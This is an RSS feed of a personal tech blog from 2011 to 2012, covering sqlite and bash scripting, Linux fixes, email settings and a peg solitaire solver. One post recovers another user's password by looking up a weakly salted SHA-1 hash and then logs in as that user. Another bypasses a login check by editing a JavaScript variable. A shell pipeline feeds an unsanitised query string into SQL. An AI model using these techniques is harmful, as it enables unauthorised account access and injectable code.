What I knew from the <a href="/computer-o.html">Computer-O quiz</a> was that submitting the form using the GET method would put all the form data (i.e. selected channels) in the query string.
Its a bit mad but very easy, then it was a matter of taking that query string and running it by ...
<code>echo QUERYSTRING | sed -e "s/\(^.*?id.\)/update channel set selected = '+' where id in (/" | sed -e "s/&id=/,/g" | sed -e "s/$/);/" | sqlite3 database/tv.db
echo QUERYSTRING | sed -e "s/\(^.*?id.\)/update channel set selected = '' where id not in (/" | sed -e "s/&id=/,/g" | sed -e "s/$/);/" | sqlite3 database/tv.db</code>
Where QUERYSTRING is the query string from submitting my form to itself.
This sets the selected flag for included values and clears it (second command) where the are not included.
I love bash and sqlite scripting !
Next time importing the programmes and the tracker table...
</description>
</item>
<item>
<title>XFCE no window decoration rm sessions</title>
<pubDate>Tue, 24 Apr 2012 20:39:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2012.html#240420122039</link>
<description>
I DO plan on continuing the <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=tv">TV Recipe</a>, but before we get back to that I just need to add this fix to my <a href="http://www.jumpstation.co.uk/flog/archive.html">archive</a>

I have a number of projects on the go at any one time and some seem to have been going on forever. One such project involves DVDs and when running the carefully considered memcoder command line X crashed.
X crashing is not a common occurrence and as I just wanted to be up and running email etc I forgot the issue and moved on. Then a few days later tried the same thing and it crashed X again, no obvious log messages, again forgot about it then the other day I tried to use Xine to watch a DVD and ... yep crashed again.
This time I decided to look into the problem a bit more deeply. It was my own fault for not updating the linux kernel and the video drivers. So I rebuilt the kernel using .config and meld, surprisingly no issues and rebooted and started X.
Something was wrong. The XFCE desktop seemed to be there(the panels were appearing) and my last running apps were loading but none of them had any window decoration, so no close/minimise etc. The mouse would not click on things and had the classic monochrome cursor.
After a lot of digging found the fix was to shut X and delete
<code>rm ~/.cache/sessions/*</code>
Then everything worked flawlessly again!
</description>
</item>
<item>
<title>a name anchor big fat failure fixed</title>
<pubDate>Sun, 18 Mar 2012 22:17:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2012.html#180320122217</link>
<description>
Just noticed all my "Permanent Link" links were failing. I cannot see where it is introduced but a space is preceding each &lt;a name=" before the numeric for the time and date which is what I use a the unique anchor.
Strangely the browser does not seem to like spaces in anchor references so prefixing the anchor with %20 does not help.
I changed the code around to force a double quote at the beginning of the name attribute value instead of letting another file.
Though neither were generating the space when run in isolation.
</description>
</item>
<item>
<title>gushing over sqlite damn it is good</title>
<pubDate>Sun, 18 Mar 2012 22:03:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2012.html#180320122203</link>
<description>
Continuing my <a href="http://http://www.jumpstation.co.uk/flog/tags.html?tag=tv">TV recipe</a>
So we have downloaded all these lovely information rich tilde delimited text files, what can we do with them ?
Welcome to sqlite. Originally I thought this was a library that you included in your own programs that the user was never aware of. It certainly can work like that and was my expected approach to this project.
But the wonderful sqlite has a seemingly innocuous command line application called <code>sqlite3</code> that can either create an interactive SQL shell that you can execute statements within or simply pipe into or use the second parameter (the first being the database file).
Oh, and how difficult setting up the database file is ...
<code>sqlite3 mynewdatabasefile</code>
That's it! If the database does note exist then it is created (instantly) for you. That statement also starts the interactive shell connected to that database, no users, logins, file formats, it just works.
So I created a quick CREATE TABLE script and piped it into my new database
<code>cat dbscripts/create_channels.sql | sqlite databases/tv</code>
that script being standard SQL
<code>create table channel (
Id INTEGER 
,"Name" VARCHAR(1024)
,"Selected" VARCHAR(1)
);</code>
sqlite does not need field definitions such as INTEGER and VARCHAR(1) it treats everything as dynamic using your column definition as a suggestion.
Well it's <a href="http://www.sqlite.org/datatype3.html">slightly more complicated</a> than that, but bottom line is anything goes, making data input and processing very non-strict and easy.
I will let you imagine the programme table.
The "Selected" column was added so I could avoid sports, foreign language and music channels.
The new recipe post will be exclusively about that process...
</description>
</item>
<item>
<title>in browser hacking google input output</title>
<pubDate>Thu, 15 Mar 2012 20:52:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2012.html#150320122052</link>
<description>
Google have started a developers sign-in that requires entrants to complete a task called Input/Output, which is an Incredible Machine clone.
Slashdot posted about it use and the commenters noted that one you had to have a Google+ account and the it linked your account.
I have a Google+ account but did not want to use it, so I started poking around the JavaScript in the browser.
If you use Chrome or FireBug and search in Experiment.js for LOGGED_IN in the scripts panel and set a break point, refresh the page then in the console enter
<code>LOGGED_IN=true;</code>
the hit continue you are logged in and can play the game.
I also noticed there are some achievements like Chrome Ball that are simple booleans, wonder what I can unlock ??
</description>
</item>
<item>
<title>using firefox to manage sqlite for tv programme management</title>
<pubDate>Wed, 14 Mar 2012 21:36:31 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2012.html#140320122136</link>
<description>
Continuing my <a href="http://www.jumpstation.co.uk/flog/Mar2012.html#010320122325">tv recipe</a>
The name sqlite to me DID mean a database api for using a sql database inside your own developed applications and coming to this project I fully expected to have to do some coding to get anywhere.
But sqlite is a full functional sql database in a file with a command line execution engine making development and then using a SQL based database incredibly easy.
I am using it entirely in bash and bash scripts.
Oh! and as well as beeing so easy to run commands against there is a <a href="http://code.google.com/p/sqlite-manager/">firefox sqlite manager</a> that has every function under the sun.
Just load firefox open a command on the menu and open your local database file instant access, very cool !
Now stage 1:Radio Times web API for personal use. 
There are two web services we need one to get channels (maps names to ids) and programmes where we get 14 days of s ingle channel.
http://xmltv.radiotimes.com/xmltv/channels.dat
http://xmltv.radiotimes.com/xmltv/CHANNEL_ID.dat
the returned files are not xml but tilda '~' delimited the format of which can be determined from this
http://www.birtles.org.uk/phpbb3/viewtopic.php?f=5&t=245#p943
It is worth pointing out that the returned files also include a discalimer/liceince noting these are for personal use only.
The programme files include some useful columns such as "Film"(true/false), "premiere"(true/false), "genre" as well as "Title", "Description", "Start"(time), "End"(time) Date, plus many more.
This works for me as one of my goals is to avoid missing films.
<code>select [Title],[Genre],[Year],[Name],[Date],[Start Time] from programme P INNER JOIN Channel C ON P.channelId = C.Id where [Date] >= date('now') AND Film='true' ORDER BY [Date]
</code>
</description>
</item>
<item>
<title>Linux scans Windows XP for the win</title>
<pubDate>Mon, 05 Mar 2012 22:35:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2012.html#050320122235</link>
<description>
Quick follow up from the <a href="http://www.jumpstation.co.uk/flog/Feb2012.html#120220121804">Windows XP virus incident</a>.
So I booted from the <a href="http://trinityhome.org">Trinity Rescue Kit</a> CD ISO on a USB stick and was able to run five virus scanners.
Clam AV
F-Prot
BitDefender Scanner
Vexira
Avast
The text based menus were straight forward and had many options for non virus scanning activities, such as reseting a windows password.
Most of the scanners just worked, Avast required a huge GUID that can only be obtained by giving your email address on the website(not got any spam yet).
Vexira had been updated and needed some TLC to getting running, but nothing major.
As these were virus scanners each one checked every file (or at least most files) meaning they ran for many (many) hours.
But it was worth it, found 52 (possibly) infected files and after removing those and rerunning the scans no infected files were found.
Windows does appear to be virus free but it also zapped the entire Start Menu, not even Run survived, but everything works and shortcuts are slowly being added back in.
</description>
</item>
<item>
<title>Just downloaded 71716 tv programme listings for the next two weeks</title>
<pubDate>Thu, 01 Mar 2012 23:25:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2012.html#010320122325</link>
<description>
Just downloaded 71716 tv programme listings for the next two weeks.
hopefully I can streamline my tv recording to things I want to see and not miss.
Recipe:
Radio Times web API for personal use.
bash for scripting
wget for downloading (should i be using curl?)
sed for text manipulation
sqlite for database

full details coming soon
</description>
</item>
<item>
<title>missed out of the raspberry pi frenzy</title>
<pubDate>Thu, 01 Mar 2012 23:19:57 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2012.html#010320122319</link>
<description>
Missed out on the <a href="http://www.raspberrypi.org">pi</a> frenzy after refreshing their page twice daily for the last couple of weeks.
Love to play with a Model B but really do not have the time, nor do I have an HDMI tv or the money to buy a converter.
Still waiting to see if the converters even work for the pi.
http://www.scan.co.uk/products/startech-hdmi2vga-hdmi-to-vga-video-converter-with-audio
http://www.amazon.co.uk/Konig-HDMI-to-VGA-Converter/dp/B0048SKRIK/ref=pd_cp_ce_3
http://www.tvcables.co.uk/cgi-bin/tvcables/hdmi-to-vga-converter.html
</description>
</item>
<item>
<title>The Demon struggle with Outlook 2010</title>
<pubDate>Fri, 17 Feb 2012 21:33:02 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2012.html#170220122133</link>
<description>
Just last year I was <a href="http://www.jumpstation.co.uk/flog/Aug2011.html#200820112103">tasked with making a laptop with Outlook 2002</a> send email via Demon when not connected directly to the Demon network.
So it would be simple to setup Outlook 2010 to do the same, right ?
No!
the settings from my <a href="http://www.jumpstation.co.uk/flog/Aug2011.html#200820112103">previous post</a> are controdictory of the settings that work for OL2010.
And yes I spent many hours again on this issue...

On the "Internet Settings" page for you email account make sure
<code>Outgoing mail server (SMTP) [post.demon.co.uk]
[ ] Require logon using Secure Password Authentication (SPA) 
</code>
([ ] is the checkbox UNCHECKED)
Then in "More settings" on the "Outgoing Server" tab you have
<code>My outgoing server (SMTP) requires authentication
Log on using
[your username]
[your password]
[ ] Require Secure Password Authentication (SPA) 
</code>
Finally on the "Advanced" tab you need
<code>Outgoing server (SMTP) [587]
Use the following type of encrypted connection [Auto]
</code>

bootnote: did you know I used to support Outlook 97 through Outlook 2000 and Mail/Schedule proir to that on Microsofts help desk.
</description>
</item>
<item>
<title>trinity live cd and usb trouble with NTLDR missing</title>
<pubDate>Sun, 12 Feb 2012 18:04:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2012.html#120220121804</link>
<description>
To try and resolve the <a href="http://www.jumpstation.co.uk/flog/Feb2012.html#120220121755">virus</a> issue I downloaded the <a href="http://trinityhome.org">Trinity Rescue Kit</a> live CD.
This is an old Windows PC with XP on it that is happliy used for email and legacy programs, and guess what ... ?
It will not boot from CD, BIOS says it will boot from USB/FDD so I write the Trinity live CD to a 512mb USB stick.
Boots but errors "NTLDR is missing" which is dos thing. Try quite a few variations, reformat drive, try another USB stick.
Then I have a brain wave, the USB ports on the front of the machine are from a USB extension panel, what if I plug the USB stick into the main ports on the back of the machine ?
Success, system boots and is now running (after downloading) the latest clamV.
I will report on how it turns out ...
</description>
</item>
<item>
<title>Never EVER click any links in emails</title>
<pubDate>Sun, 12 Feb 2012 17:55:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2012.html#120220121755</link>
<description>
Sarah caught a virus (worm/trojan/etc). She clicked a link in an email from the Post Office, something along the lines that a parcel required redelivery.
She was supprised to find pops and fake anti virus all over the screen.
I asked a couple of questions:
Had she ever given the Post Office her email address.
Was she expecting any parcels.
Both answers were "No".
So started my journey into windows cleaning from live Linux CD.
</description>
</item>
<item>
<title>bash and alt plus period</title>
<pubDate>Tue, 31 Jan 2012 21:51:22 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2012.html#310120122151</link>
<description>
Are you a bash user ? if so you need to know
<code> [ALT+.] </code>
it gets the last command parameter, you can do it multiple times to go back through your command parameter history, great with long path names.
i.e.
<code>file /tmp/some/file/in/some/long/path
rm [ALT+.]
</code>
instead of doing all that [tab] auto-completing again.

</description>
</item>
<item>
<title>salt shaker script replaced with single line of code</title>
<pubDate>Tue, 31 Jan 2012 21:28:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2012.html#310120122128</link>
<description>
 It would seem it is time to retire my <a href="http://saltshaker.sf.net/">salt shaker</a> script for randomising object locations/rotations in blender.
The 2.5 series (and I guess 2.6) only requires this one line to be run in the python console.
[code] bpy.ops.object.randomize_transform( random_seed=0, use_loc=True, loc=(0, 0, 0), use_rot=True, rot=(360.0, 360.0, 360.0), use_scale=True, scale_even=False, scale=(0.0, 0.0, 0.0)) [/code]
but I will leave it up for prosperity.
</description>
</item>
<item>
<title>password salt was a bit easy</title>
<pubDate>Tue, 31 Jan 2012 21:16:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2012.html#310120122116</link>
<description>
Needed to test an uncommon part of a website the other day, problem was I did not have a login. Not wanting to sign up and wait for an email(not sure it would have worked on that system) I had a look at the database.
User table with Password column, but its encrypted :(
Not so quick, maybe it's just a hash ...
http://www.sha1.cz/
tried "password" and searched for passwords the same as the hash, no matches...
Quick dig in the code ... Ah using a salt, salt is ...
password
Password requirement is at least one number, so lets try "password1password1"
2cfec11bc6024a9ac3d39a56323a2161b69c989f
43 matches, copy and paste first username into login box and password as "password1", sorted!
</description>
</item>
<item>
<title>orange fails x8 and that is just today</title>
<pubDate>Tue, 03 Jan 2012 21:49:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2012.html#030120122149</link>
<description>
<a href="http://www.jumpstation.co.uk/flog/tags.html?tag=orange">More Orange</a> fails.
[This is just todays fails, I did not record what happend from the previous couple of calls].
Fail 1: Can login to orange account web page but get hidden 500 error, view source and it is about Java unable to access a session java.lang.NoClassDefFoundError.
Fail 2: the page displayed in the browser has no error and no information of any kind showing, so no error handling then.
Fail 3: the error in view source is over 300 lines long and would give any attacker a wealth of information regarding infrastructure and software versions.
Fail 4: The telephone auto prompt system has nothing related the the issue I want to resolve, nothing new there.
Fail 5: Finaly get past the the auto promt to be told that they endevor to pickup within two minutes, over 15 later I get CS rep 1.
Fail 6: CS rep 1 tells me he can not help and transfers me to Billing rep 1.
But does not give BR1 any of my details.
Fail 7: BR1 tries to locate me via post code, the same post code Orange send me stuff, but I do not exist, even though the reason for ringing is related to two items sent to the that address.
Fail 8: Even though I had followed previous CS reps (calls prior to this one) advice, no, BR1 could not help me, please call another number during office hours.
21 minutes to find they could not help me, oh the joy!
</description>
</item>
<item>
<title>linux xorg no mouse no keyboard gentoo fix</title>
<pubDate>Sun, 01 Jan 2012 22:08:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2012.html#010120122208</link>
<description>
Rebuilt the gentoo kernel to include <a href="http://forums.gentoo.org/viewtopic-t-877469-start-0.html">wacom support</a> everything went fine :)
but came back from holiday and the X screen appeared corrupted, black with rectangles of random colors and it was not XScreensaver ;)
Reboot ([Alt]+[SysReq]+ {S/U/B}) and startx, no mouse or keyboard, could not swtich VT.
Now, I knew I had had this issue before AND I know I had reported the fix, but not in flog :(
Eventually found it on gentoo forums.
<code>emerge -av xf86-input-evdev</code>
now recorded here ;)
</description>
</item>
<item>
<title>UPS pops it clogs</title>
<pubDate>Sun, 01 Jan 2012 21:53:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2012.html#010120122153</link>
<description>
The power gods finaly won, <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=UPS">UPS entries</a>
the battery died a horible death and it is cheaper to buy a new personal UPS than to replace the battery.
Maybe 4-5 years is the expected life expectancy ?
New model is an APC 850VA (3 plug), mainly choosen for its price and noise output, both very low.
Seems to work fine, no serial connection to the PC or ethernet or USB so just basic UPS.
Funny, it has no kettle extension connectors like the old UPS (and any UPS I have ever seen) instead it has standard 3 pin mains sockets, so easy to plugin any old appliance.

</description>
</item>
<item>
<title>Horrible Bosses FTW</title>
<pubDate>Sat, 20 Aug 2011 22:14:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2011.html#200820112214</link>
<description>
Saw <a href="http://www.imdb.com/title/tt1499658/">Horrible Bosses</a> on Oranges two-for-1 Wednesdays deal.
Easy to write a twitter review<code>horrible bosses : 5 thumb-stars-tomatoes up: cinema was packed and everyone was laughing out-loud #FTW #horriblebosses</code>
go see it!
</description>
</item>
<item>
<title>DEXT resurected and rooted to 2.3</title>
<pubDate>Sat, 20 Aug 2011 22:04:04 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2011.html#200820112204</link>
<description>
My Orange DEXT failed <a href="http://www.jumpstation.co.uk/flog/Apr2010.html#250420102102">again</a>
Completely dead, would not respond to charging, took it to an Orange shop (marked as a repair center) they confirmed that even replacing the battery did not revive the phone.
Bought a cheap PAYG Samsung GT-S3350 otherwise known as Ch@t 335 that just works.
And that should be the end of the story, but I though I would try the Android DEXT one more time to see if the PC could see it, BING! it just started up ...
So now I have a nice PAYG phone that works well for Phoning and SMS and my beat-up Android 1.6 DEXT, time to root !
I had been avoiding rooting due to the risk and the fact that the DEXT has a cousin in America called the Cliq that all the root guides had been referring to this when anyone mentioned the DEXT.
But now the DEXT has been recognized and I have cyanogen-mod 7 and Android 2.3 later than most off-the-shelf- Androids !
None of the "single-click-root" apps worked for me due to the Android OS version being soooooooo low.
The question is what do I do with the phone now ?
Go back to using it and ditch the PAYG? I would but the battery life in the Samsung is phenomenal compared to the Android.
</description>
</item>
<item>
<title>OCZ SSD post with no answer</title>
<pubDate>Sat, 20 Aug 2011 21:46:49 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2011.html#200820112146</link>
<description>
RE<a href="http://www.jumpstation.co.uk/flog/Aug2011.html#200820112134">OCZ SSD post</a>
my forum post http://www.ocztechnologyforum.com/forum/showthread.php?91248-Agility-3-not-recognised-after-activity-can-not-upgrade-firmware
<a href="http://www.google.co.uk/search?q=linux+asus+agility+detected+capacity+change+site%3Ahttp%3A%2F%2Fwww.ocztechnologyforum.com%2Fforum&hl=en&num=10&lr=&ft=i&cr=&safe=images&tbs=#sclient=psy&hl=en&lr=&source=hp&q=linux+asus+agility+detected+capacity+change+site:http%3A%2F%2Fwww.ocztechnologyforum.com%2Fforum&pbx=1&oq=linux+asus+agility+detected+capacity+change+site:http%3A%2F%2Fwww.ocztechnologyforum.com%2Fforum">Scary google advanced search</a>
</description>
</item>
<item>
<title>OCZ Agility SSD Linux combo did not work for me</title>
<pubDate>Sat, 20 Aug 2011 21:34:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2011.html#200820112134</link>
<description>
I can not say this will be the experience of ever OCZ Agility 3 60GB SSD Linux owner, but this was mine.
Drive was detected in the BIOS [OK]
Linux live CD (on a USB stick thanks to <a href="http://unetbootin.sourceforge.net/">unetbootin</a>) fdisk partitioned the drive [OK]
mkfs.ext4 [ERROR]
dmesg shows<code>sda: detected capacity change from 60022480896 to 0</code>
reboot [OK]
fdisk sees correct partitioning [OK]
mkfs.ext4 [ERROR]
dmesg shows<code>sda: detected capacity change from 60022480896 to 0</code>
reboot [OK]
hmmm, try OCZ own live CD with ROM updater.
Detects SSD [OK]
Updates ROM [OK]
fdisk [ERROR]
dmesg shows<code>sda: detected capacity change from 60022480896 to 0</code>
Tried changing so many settings in the BIOS but the main one that came up in my research AHCI was not a setting :(
Convinced it was a problem of my own making I spent a whole week reading many many OCZ posts with similar (but never exactly the same) problems.
Created a post on OCZ with tons of detail, no response.
Returned to Overclockers [OK]
Selected Intel SSD (only 40GB for the same money)
Connect [OK]
Boot [OK]
fdisk [OK]
mkfs.ext4 [OK]
everything [OK]
well, not quite anything, ext4 and Nvidia SATA support were missing out of the kernel I installed, but after fixing that the Intel just works, no fuss no muss.
</description>
</item>
<item>
<title>Outlook 2002 XP on windows Vista Demon SMTP authentication settings</title>
<pubDate>Sat, 20 Aug 2011 21:03:33 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2011.html#200820112103</link>
<description>
Outlook 2002 (XP) (on windows Vista) Demon SMTP authentication settings !
"More Settings"
 "My outgoing server(SMTP) requires authentication"
  "Log on using"
  host name is the bit BEFORE ".demon.co.uk"
  password is the same as the password used to connect via broadband/dial-up which maybe DIFFERENT to your POP? password
  (check at https://www.password.uk.demon.net/ )
  Check "Log on using Secure Password Authentication"
  "Advanced" Outgoing server settings change port from 25 to 587
  and do not check "this server requires an SSL ..."
 The number of man hours I wasted on this is phenomenal  .
</description>
</item>
<item>
<title>The story of demon and the SMTP adventure</title>
<pubDate>Sat, 20 Aug 2011 20:55:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2011.html#200820112055</link>
<description>
Time for a story;
Once upon a time someone asked me if they could send email when they were on holiday via Wifi.
Seemed a logical question: "Yes, wifi is just another way of accessing the internet".
The came back from holiday very disappointed, the email would not send but it did receive.
I looked in to the issue and sure enough it is common for ISPs to block SMTP that does not come from client connected directly into there systems.
Some offer alternate secure routes to send email but you have to know how to set them up.
The network in question was <a href="http://www.demon.co.uk">Demon</a> who are well renowned for there technical prowess.
And there on their help pages was how to send email when not connected to Demon.
But it did not work and every permutation under the sun of security / post hostname settings would get it anywhere.
Demon do have a <i>Live Chat</i> support option and I suddenly realised that I had exhausted all the settings possibilities the problem had to be elsewhere.
After trying alternate email clients and machines I know what to ask the <i>Live Chat</i> person.
"Can the POP3 password be different to the SMTP password ?" remember POP3 (incoming) mail worked fine and sending from inside Demon, i.e. from home worked fine.
The answer was "yes they can be different", it never occurred to me that the sending mail password would be different to the receiving, many ISPs I have used in he past do not even have the option.
Armed with this crucial piece of information I now setup the SMTP and it worked.
Due the power of the following information it is provided in a separate post [ see below]
</description>
</item>
<item>
<title>where has your broadband gone</title>
<pubDate>Tue, 19 Jul 2011 23:18:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2011.html#190720112318</link>
<description>
Changed hosting from freenetname.co.uk that gave me my jumpstation.co.uk domain name (for free) to http://1and1.co.uk who I have used for http://pay4foss.org, http://slsushi.co.uk and a surprising number of others.
Freenetname was bought-out by at least two if not three companies leaving my account in the hands of http://www.madasafish.co.uk who offered excellent broadband prices but when we moved house the broadband dropped to almost 1mb and we had no need for 50Gb a month.
We switched to sky.co.uk and strangely the line speed seems slightly higher.
Madasafish termination department did point out that according to BT our area was due for a fibre upgrade in August, so heres hoping.
</description>
</item>
<item>
<title>jump out of the tunnelmovie</title>
<pubDate>Tue, 19 Jul 2011 22:52:52 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2011.html#190720112252</link>
<description>
Finally got around to torrenting the completely free 3Gb horror flick http://www.thetunnelmovie.net after getting my <a href="http://www.jumpstation.co.uk/flog/Jun2011.html#020620112213">movie frame</a> a short while ago.
I still cannot decide if I like the film or not. The first 5 minutes make you feel it is a real Hollywood blockbuster with tasteful artistic shots and pans.
Then the film starts and you are hit with strong jarring Australian accents, this immediately put me at odds with the movie just because I am not used to watching a film without mainly American or British actors(I  know, my loss).
But after the plot got moving things did settle down, but maybe not for the best, shot in an interview/documentary style it does take a while to get going and then when it is going seems to drag.
I am not going to spoil it but there is one point that literally made me jump out of my chair and the overall &apos;do not show the monster&apos; works to its advantage.
Plot holes are minimal but can still be observed and annoyingly the story is never fully resolved, this obviously intentional.
For a free movie I say <a href="http://www.thetunnelmovie.net">go get it</a> but do you need the DVD ? jury is still out, I want to love this so much more.
</description>
</item>
<item>
<title>the tunnel assigns my a premo promo frame</title>
<pubDate>Thu, 02 Jun 2011 22:13:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2011.html#020620112213</link>
<description>
<a href="http://www.thetunnelmovie.net/">The tunnel</a> has finally been released and is completely free to download.
The reason it is free is because the revenue model is not to sell copies or licenses of the movie but to sell frames and I bought one a long time ago.
I can no reveal my hard earned frame.
<img src="http://www.jumpstation.co.uk/flog/thetunnel_frame_57931_blog.jpg" alt="thetunnel frame" />
looks like a promo shot !
</description>
</item>
<item>
<title>A UPS will not protect you computer from being turned off</title>
<pubDate>Sun, 08 May 2011 16:49:19 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2011.html#080520111649</link>
<description>
You can protect you computer from power cuts using a <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=ups">UPS</a> but it will not protect your system from small fingers pressing all the buttons and pretty lights.
Maybe I need to setup a web cam with alarm !!
</description>
</item>
<item>
<title>windows phone 7 is different</title>
<pubDate>Fri, 06 May 2011 22:58:55 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2011.html#060520112258</link>
<description>
Just started a new job, and they have put me on Windows Phone 7, which is different.
</description>
</item>
<item>
<title>The dark room get light from HP wireless scanner Linux support</title>
<pubDate>Fri, 06 May 2011 22:53:46 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2011.html#060520112253</link>
<description>
You may remember the fun I had with windows XP and an HP C4780 printer <a href="http://www.jumpstation.co.uk/flog/May2010.html#190520102304">the dark room</a>.
That eventually resolved itself after removing all the HP bloat-ware and finding a 'driver only' installer.
In other news I bought the <a href="">Tron Legacy Reconfigured</a> CD which has some binary messages on the box sleeve and the insert. I wounder if I could get the wireless printer AND scanner working from Linux ?
Turns out HP should be praised for their open source support as the tools to installer and configure have lots of sensible output that tell you whats going on.
I got the printer working with a few easy steps using the CUPS web front-end, but the scanner gave me a headache.
XSane and scanimage both told me no devices were found, but this is where it gets weird because if I told xsane what IP the printer was then xsane worked.
This had the side effect of not being able to use GIMP to do the scanning.
Resolution (and it took a while to work it out) was to run the <code>hp-toolbox</code> and to add the printer using the ADVANCED settings entering the IP address, sounds simple but it quite happily auto-discovered the printer on its own in a slightly different way.
Now I can scan in GIMP from a wireless printer !
maybe HP aren't quite so bad after all.
Now back to Tron, I have scanned the images just need to tidy them a bit and the work out the best way to OCR them.
</description>
</item>
<item>
<title>For sale: one slightly used Peg Solitaire solver</title>
<pubDate>Mon, 07 Mar 2011 18:52:20 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2011.html#070320111852</link>
<description>
[continued from <a href="http://www.jumpstation.co.uk/flog/Mar2011.html#030320112137">flog</a>]
So the main program executed a loop that simply looked for 'unprocessed' boards and 'processed' them. 
The initial game board layout was set as 'unprocessed', this meant that there were more pegs to test for moves, as each peg was tested.
Oi! Board, give me the next peg; 
dear peg, you able to move North? 
OK, then that move is made on a copy of the current board and stored in the data tree as a branch from the initial root board.
dear peg, you able to move South?
No?
East?West? 
Oi! Board, give me the next peg; 
What do you mean 'no more pegs' ?
Right, set this board as 'processed'.
Start loop again, get next 'unprocessed' board ...

Finally there are no more boards, search for solutions in the data tree, boards that have only one peg left.
Calculate the number of parents for each solution, find the shortest and display it.

6 solutions found, shortest has 5 moves
<code>XX...XX
XX.O.XX
..OOO..
...O...
...O...
XX...XX
XX...XX

XX...XX
XX.O.XX
..O..O.
...O...
...O...
XX...XX
XX...XX

XX...XX
XX.O.XX
..OO.O.
.......
.......
XX...XX
XX...XX

XX...XX
XX.O.XX
....OO.
.......
.......
XX...XX
XX...XX

XX...XX
XX.O.XX
...O...
.......
.......
XX...XX
XX...XX

XX...XX
XX...XX
.......
...O...
.......
XX...XX
XX...XX
There were 35 moves stored in the tree</code>

Am I releasing the code ? no, its a bit messy and has no way of entering new board layouts, hacking the source is the only way.
Still, if you are in desperate need of a C# peg solitaire solver you can email me for a copy.
IReallyNeedAPegSolitaireSolver@jumpstation.co.uk

EOL
</description>
</item>
<item>
<title>fruit from the branches is tested</title>
<pubDate>Thu, 03 Mar 2011 21:37:25 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2011.html#030320112137</link>
<description>
[continued from <a href="http://www.jumpstation.co.uk/flog/Mar2011.html#020320112032">flog</a>]
I could now find pegs, check for moves and make moves. Next I needed recursion. Recursion is like fractions or the area of a triangle when you are at school, they are taught and for many people never used.
All software engineers are taught recursion and up until now I have not needed it.
I wanted a ready made off the self object type to hold my recursive branching data where each branch was each possible move from a previous move on the board.
Strangely there is no .Net Tree data type, I tried to use XML but this totally unnecessary.
A simple object with a collection of that same object inside was all that was needed.
i.e. a branch that contained one fruit and any number of branching branches that also contained one fruit and any number of branching branches ....

The fruit was the state of the board after each peg moved. Originally I tried to store the move itself but this got very complicated very quickly.
Recursion meant I could find a 'fruit' in the middle of the branches by always starting at the root branch, the 'tree'.
When the solution was found, only one peg was left on the board, I needed to show the steps leading to that state, so each branch had a parent property.
This meant I could take the completed board and look at its parent branch and then look at the parents branch all the way back to the starting branch.
Lots of tests were added here as I needed more and more methods to do jobs for me.
</description>
</item>
<item>
<title>testing is the true path to enlightenment</title>
<pubDate>Wed, 02 Mar 2011 20:32:59 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2011.html#020320112032</link>
<description>
[continued from <a href="http://www.jumpstation.co.uk/flog/Mar2011.html#010320112203">flog</a>]
I began with pseudo code, for each peg on the board try and move it and do this recursively until the solution is found.
Wow, that was easy...
We had been introducing testing to new projects at work. Testing is one of those things that software developers do not do naturally, they know it is the right thing to do but usually miss it out completely or tack it on at the end of a project.
Once a developer has actually used testing frameworks for automated testing from the beginning of a project all that changes, instead of reluctance to testing they actively embrace it.
So it was with my peg solitaire solver.

I started with the basics, creating a board, pegs and walls, then a number of methods to locate pegs from coordinates and coordinates from pegs.
Testing a sample board with know peg locations.
Then the logic for moving pegs. A Peg can move either North, South, East or West but only if it 'jumps' over another peg (like draughts)
Tests were created that showed that a move was valid for a known peg.
In the past I may have tested the functionality but then removed it once it was working, with my slowly building battery of tests all the functionality was tested as I made changes, picking up issues outside of an area that I was specifically working on very quickly.
</description>
</item>
<item>
<title>Professor Layton claims another victim</title>
<pubDate>Tue, 01 Mar 2011 22:03:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2011.html#010320112203</link>
<description>
[continued from <a href="http://www.jumpstation.co.uk/flog/Feb2011.html#280220112217">flog</a>]
Why did I need a solution to <a href="http://en.wikipedia.org/wiki/Peg_solitaire">Peg Solitaire</a> ?
Back in 2007/8 I played and completed http://en.wikipedia.org/wiki/Professor_Layton_and_the_Curious_Village a great story lead collection of bizzare puzzles.
The in 2008/9 I played but have yet to complete http://en.wikipedia.org/wiki/Professor_Layton_and_the_Diabolical_Box which worked in the same fashion.

PL&CV had a number of repeating puzzles that became harder and more annoying, these were the ones that required a little bit of help from the internet http://professorlaytonwalkthrough.blogspot.com/
I realised then that the solution could have been computed.

